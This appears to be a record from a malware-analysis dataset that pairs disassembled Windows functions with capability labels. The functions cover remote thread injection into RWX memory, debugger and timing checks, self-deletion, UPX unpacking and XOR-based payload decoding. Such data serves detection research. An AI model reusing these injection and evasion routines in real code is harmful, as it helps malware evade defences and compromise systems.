joyce8/EMBER2024-capa huggingface dataset:
Function at 0x513370
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x31
push 0
push 0
dec ecx
jne 0x513378
push ebx
push esi
xor eax, eax
push ebp
push 0x513635
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402af4
test eax, eax
jne 0x513545
xor edx, edx
push ebp
push 0x51352d
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x160]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x168]
xor eax, eax
call fcn.00402b54
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.00409594
push dword [ebp - 0x164]
push 0x513650
lea eax, [ebp - 0x16c]
call fcn.005132b4
push dword [ebp - 0x16c]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404a78
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402b54
push 0x40
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x417e38]
call fcn.0041cc1c
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x417e38]
call fcn.0041cc1c
mov esi, eax
push 0
push 0
mov edx, ebx
mov eax, esi
call fcn.0041c9a0
call fcn.00402bb4
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 0x64
sbb edx, 0
call fcn.00403194
cdq
push edx
push eax
mov eax, ebx
call fcn.0041c724
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, ebx
call fcn.0041c704
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
call fcn.00403194
cdq
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.0041c9a0
mov eax, ebx
call fcn.004038e4
mov eax, esi
call fcn.004038e4
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.00403174
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], 1
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
push 0
push 0
push dword [ebp - 0xc]
push 0x51365c
lea edx, [ebp - 0x178]
xor eax, eax
call fcn.00402b54
mov eax, dword [ebp - 0x178]
lea edx, [ebp - 0x174]
call fcn.00519d3c
push dword [ebp - 0x174]
lea eax, [ebp - 0x170]
mov edx, 3
call fcn.00404a78
mov eax, dword [ebp - 0x170]
call fcn.00404bb8
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x513534
ret
lea edx, [ebp - 0x17c]
mov eax, 1
call fcn.00402b54
mov eax, dword [ebp - 0x17c]
mov edx, 0x51366c
call fcn.00404b04
jne 0x51360a
xor eax, eax
push ebp
push 0x5135f2
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x180]
mov eax, 2
call fcn.00402b54
mov eax, dword [ebp - 0x180]
call fcn.00409058
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
push ebx
call sub.KERNEL32.DLL_CloseHandle
push 0x1f4
call sub.KERNEL32.DLL_Sleep
lea edx, [ebp - 0x188]
mov eax, 3
call fcn.00402b54
mov eax, dword [ebp - 0x188]
lea edx, [ebp - 0x184]
call fcn.00519814
mov eax, dword [ebp - 0x184]
call fcn.00409434
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5135f9
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51363c
lea eax, [ebp - 0x188]
mov edx, 0xa
call fcn.0040471c
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.0040471c
ret
Function at 0x513674
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe1c
push ebx
xor eax, eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x513830
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1d4]
xor eax, eax
call fcn.00402b54
mov eax, dword [ebp - 0x1d4]
lea ecx, [ebp - 4]
mov edx, 0x513848
call fcn.004094cc
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402f08
lea eax, [ebp - 0x1d0]
call fcn.00402ca4
call fcn.00402934
mov edx, 0x513858
lea eax, [ebp - 0x1d0]
call fcn.00404dd4
call fcn.00403398
call fcn.00402934
mov edx, 0x51386c
lea eax, [ebp - 0x1d0]
call fcn.00404dd4
call fcn.00403398
call fcn.00402934
push 0x513878
lea edx, [ebp - 0x1dc]
xor eax, eax
call fcn.00402b54
push dword [ebp - 0x1dc]
push 0x513888
lea eax, [ebp - 0x1d8]
mov edx, 3
call fcn.00404a78
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d0]
call fcn.00404dd4
call fcn.00403398
call fcn.00402934
push 0x513894
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.00402b54
push dword [ebp - 0x1e4]
push 0x5138a8
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00404a78
mov edx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1d0]
call fcn.00404dd4
call fcn.00403398
call fcn.00402934
mov edx, 0x5138bc
lea eax, [ebp - 0x1d0]
call fcn.00404dd4
call fcn.00403398
call fcn.00402934
lea eax, [ebp - 0x1d0]
call fcn.00402fd0
call fcn.00402934
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404bb8
push eax
push 0
mov eax, dword [0x52aacc]
mov eax, dword [eax]
call fcn.00462b78
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x52a8bc]
mov eax, dword [eax]
call fcn.0047c27c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x513837
lea eax, [ebp - 0x1e4]
mov edx, 5
call fcn.0040471c
lea eax, [ebp - 4]
call fcn.004046f8
ret
Function at 0x518c9c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x518da8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x52a4b0]
mov eax, dword [eax]
push eax
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov edx, dword [0x52a350]
mov dword [edx], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52a350]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edx, dword [0x52a714]
mov dword [edx], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52a350]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edx, dword [0x52a4d4]
mov dword [edx], eax
call fcn.00518a14
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52a350]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebx, eax
mov eax, dword [0x52a7f0]
mov dword [eax + 0x20], ebx
mov eax, dword [0x52a7f0]
add ebx, 0x200
mov eax, dword [0x52a9f0]
mov dword [eax + 0x8c], ebx
call fcn.00518660
mov eax, dword [0x52a394]
mov eax, dword [eax]
push eax
mov ecx, dword [0x52a4b0]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x51dc44]
call fcn.0051e86c
mov edx, dword [0x52a8fc]
mov dword [edx], eax
lea eax, [ebp - 4]
call fcn.0051a444
mov edx, dword [ebp - 4]
mov eax, dword [0x52aacc]
mov eax, dword [eax]
call fcn.0045c370
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x518daf
lea eax, [ebp - 4]
call fcn.004046f8
ret
Function at 0x51b0d8
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x51b0ef
jne 0x51b0f6
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x51b105
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x51b10d
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x51dcc4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
mov edi, eax
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [esp], eax
mov dword [esp + 4], edx
cmp byte [edi + 0x341], 0
jne 0x51dd15
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [esp]
sbb edx, dword [esp + 4]
push edx
push eax
mov eax, esi
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x51dd08
cmp eax, dword [esp]
pop edx
pop eax
jae 0x51dd0c
jmp 0x51dd15
pop edx
pop eax
jl 0x51dd15
push 0x64
call sub.KERNEL32.DLL_Sleep
jmp 0x51dcdc
mov eax, ebx
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x51e7b8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
push 0x40
push 0x1000
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 0x1000
mov eax, dword [ebp - 4]
push eax
push esi
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push esi
push 0
push 0
mov eax, dword [ebx + 0x54]
push eax
call sub.KERNEL32.DLL_CreateRemoteThread
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x51f438
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
lea eax, [ebp - 0x18]
xor ecx, ecx
mov edx, 0x10
call fcn.00403174
mov dword [ebp - 0x18], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
mov eax, dword [0x52a9f0]
mov eax, dword [eax + 0x8c]
mov ecx, 0x10
call fcn.0051a3dc
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
sub eax, dword [ebp - 8]
sbb edx, dword [ebp - 4]
cmp edx, 0
jne 0x51f4a1
cmp eax, 0x1f4
jbe 0x51f4a3
jmp 0x51f4c2
jg 0x51f4c2
mov eax, dword [0x52a9f0]
mov eax, dword [eax + 0x8c]
call fcn.0051a254
cmp dword [ebp - 0x18], 0
je 0x51f4c2
push 0x14
call sub.KERNEL32.DLL_Sleep
jmp 0x51f486
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x51f974
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x51f52c
call fcn.00406908
mov ebx, dword [0x52a8bc]
xor eax, eax
push ebp
push 0x51fa9d
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0051396c
call fcn.004ff824
mov eax, dword [0x52a4a0]
mov dword [eax], 0x47ae147b
mov dword [eax + 4], 0x3ff87ae1
call fcn.00513370
mov eax, 0x22b9
call fcn.00403194
inc eax
mov edx, dword [0x52a908]
mov dword [edx], eax
lea edx, [ebp - 0x18]
mov eax, dword [ebx]
call fcn.0047c7a0
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00409560
mov edx, dword [ebp - 0x14]
mov eax, dword [0x52a6f0]
call fcn.0040474c
lea edx, [ebp - 0x1c]
mov eax, 2
call fcn.00402b54
mov eax, dword [ebp - 0x1c]
mov edx, 0x51fab4
call fcn.00404b04
je 0x51fa36
mov eax, dword [0x52a964]
push eax
push 0
push 0
push 0x51b114
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov edx, dword [0x52a33c]
mov dword [edx], eax
call fcn.0051d99c
mov eax, dword [ebx]
call fcn.0047c0f8
mov ecx, dword [0x52aacc]
mov eax, dword [ebx]
mov edx, dword [0x509a08]
call fcn.0047c110
mov ecx, dword [0x52a844]
mov eax, dword [ebx]
mov edx, dword [0x507644]
call fcn.0047c110
mov ecx, dword [0x52a60c]
mov eax, dword [ebx]
mov edx, dword [0x5095b4]
call fcn.0047c110
mov eax, dword [ebx]
call fcn.0047c190
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51faa4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.0040471c
ret
Function at 0x101680d0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1016829d
pushal
mov esi, section.UPX1
lea edi, [esi - 0xab000]
push edi
or ebp, 0xffffffff
jmp 0x101680fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10168101
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101680f0
mov eax, 1
add ebx, ebx
jne 0x10168113
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10168108
jne 0x10168124
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10168108
xor ecx, ecx
sub eax, 3
jb 0x10168138
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x101681aa
mov ebp, eax
add ebx, ebx
jne 0x10168143
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10168150
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10168174
inc ecx
add ebx, ebx
jne 0x10168160
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10168155
jne 0x10168171
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10168155
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10168194
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10168185
jmp 0x101680f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10168194
add edi, ecx
jmp 0x101680f6
pop esi
mov edi, esi
mov ecx, 0x3d96
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x101681b2
cmp byte [edi], 0x43
jne 0x101681b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x101681b7
lea edi, [esi + 0x161000]
mov eax, dword [edi]
or eax, eax
je 0x1016822f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x173f80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x174098]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x101681e4
mov ecx, edi
jns 0x10168213
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x17409c]
or eax, eax
je 0x10168229
mov dword [ebx], eax
add ebx, 4
jmp 0x10168201
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10168260
cmp al, 0xef
ja 0x10168253
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10168235
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10168242
mov ebp, dword [esi + 0x1740a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x257]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10168294
sub esp, 0xffffff80
jmp 0x1007a3d3
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x360c4b
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x62ac458e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x1000b7a1
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x10041024]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.1000de50
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.1002543f
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.1002543f
push 0x10038198
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.1002543f
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.1000de50
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b846
sub ecx, edx
cmp ecx, 6
jbe 0x1000b86d
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.1002543f
pop ecx
pop ecx
test eax, eax
jne 0x1000b86d
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000b874
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x10036ae3
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.1002543f
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.1000d8d0
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000b8ee
mov ax, word [0x100381c4]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000be90
add esp, 0x824
ret

Function at 0x1002543f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1002544e
pop dword [ebp - 0x24]
mov eax, 0x50d3ec59
add eax, 0xbf2e67f5
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x40e73
push 0
mov eax, 0x9a10b0ef
sub eax, 0x8a0def5b
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x4d42
xor ebx, ebx
add ebx, eax
mov edx, 0x10046000
add edx, dword [ebp - 0x24]
mov edi, 0x32b55cae
sub edi, 0xc51d50f3
sub dword [ebp - 0x20], 0xf621e4d8
mov esi, dword [edx]
mov dword [ebp - 0x10], 0x3bd63d4a
xor esi, edi
sub dword [ebp - 8], ebx
mov dword [ebx], esi
mov dword [ebp - 0x10], 0xe6baa70f
add ebx, 4
add edx, 0xa3b1436e
add edx, 0x5c4ebc96
loop 0x100254a3
add eax, 0x23f252ed
add eax, 0xdc0ed4ee
mov ebx, eax
add eax, 0x5cd0e26f
add eax, 0xa32f1d96
mov ecx, 0x92bdb6f9
add ecx, 0x7d424907
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4015e3
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
xor bl, bl
test esi, esi
je 0x40161d
push esi
call fcn.00401aa4
pop ecx
test eax, eax
jbe 0x40161d
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00401574
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test eax, eax
je 0x40161d
cmp eax, 0xffffffff
je 0x40161d
test al, 0x10
jne 0x40161d
inc bl
mov al, bl
pop ebx
pop ebp
ret
Function at 0x404c63
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402ea3
and dword [ebp - 4], 0
cmp dword [0x40ff6c], 0
mov ebx, eax
jne 0x404d14
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404dc5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40ac70
push edi
call esi
test eax, eax
je 0x404dc5
push eax
call fcn.00402e31
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40ff6c], eax
call esi
push eax
call fcn.00402e31
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40ff70], eax
call esi
push eax
call fcn.00402e31
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40ff74], eax
call esi
push eax
call fcn.00402e31
pop ecx
mov dword [0x40ff7c], eax
test eax, eax
je 0x404d14
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402e31
pop ecx
mov dword [0x40ff78], eax
mov eax, dword [0x40ff78]
cmp eax, ebx
je 0x404d6c
cmp dword [0x40ff7c], ebx
je 0x404d6c
push eax
call fcn.00402eac
push dword [0x40ff7c]
mov esi, eax
call fcn.00402eac
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404d6c
test edi, edi
je 0x404d6c
call esi
test eax, eax
je 0x404d63
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404d63
test byte [ebp - 0xc], 1
jne 0x404d6c
or dword [ebp + 0x10], 0x200000
jmp 0x404da5
mov eax, dword [0x40ff70]
cmp eax, ebx
je 0x404da5
push eax
call fcn.00402eac
pop ecx
test eax, eax
je 0x404da5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404da5
mov eax, dword [0x40ff74]
cmp eax, ebx
je 0x404da5
push eax
call fcn.00402eac
pop ecx
test eax, eax
je 0x404da5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40ff6c]
call fcn.00402eac
pop ecx
test eax, eax
je 0x404dc5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404dc7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405ee9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40dbc0]
jne 0x405ef3
repz ret
jmp fcn.00407585
Function at 0x4013b5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
cmp dword [0x19fb898], 0x594
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x2c], esi
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov dword [ebp - 0x10], ebx
jne 0x4013eb
push 0
lea eax, [ebp - 0x44c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x41a308]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x41a30c]
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x28], eax
call fcn.004013ab
mov ecx, dword [0x41a310]
mov eax, dword [0x41a314]
add dword [ebp - 4], 0x23f
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], eax
pop esi
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, ebx
mov edx, 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x19fb898], 0xfa9
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [0x19fb894]
cmove eax, edx
xor edx, edx
cmp dword [0x19fb898], 0x3eb
mov dword [0x19fb894], eax
mov eax, dword [0x19fb284]
cmove eax, edx
add ecx, ebx
mov dword [0x19fb284], eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
xor ebx, ebx
mov eax, dword [ebp - 8]
xor edx, ecx
add eax, dword [ebp - 0x1c]
mov ecx, dword [0x19fb898]
xor eax, edx
mov dword [0x19fb890], 0xf4ea3dee
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
cmp ecx, 0x213
jne 0x40151f
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push ebx
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea eax, [ebp - 0xc4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x44c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov eax, dword [ebp - 8]
mov ecx, dword [0x19fb898]
sub edi, eax
cmp ecx, 0xc
jne 0x40152d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, edi
shl eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov eax, edi
mov edx, dword [ebp - 4]
shr eax, cl
add edx, edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0xc]
xor edx, eax
mov dword [ebp - 0xc], edx
call fcn.004013b2
mov eax, dword [ebp - 0x18]
sub dword [ebp - 4], eax
dec esi
je 0x401579
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
jmp 0x401429
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], edi
pop edi
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret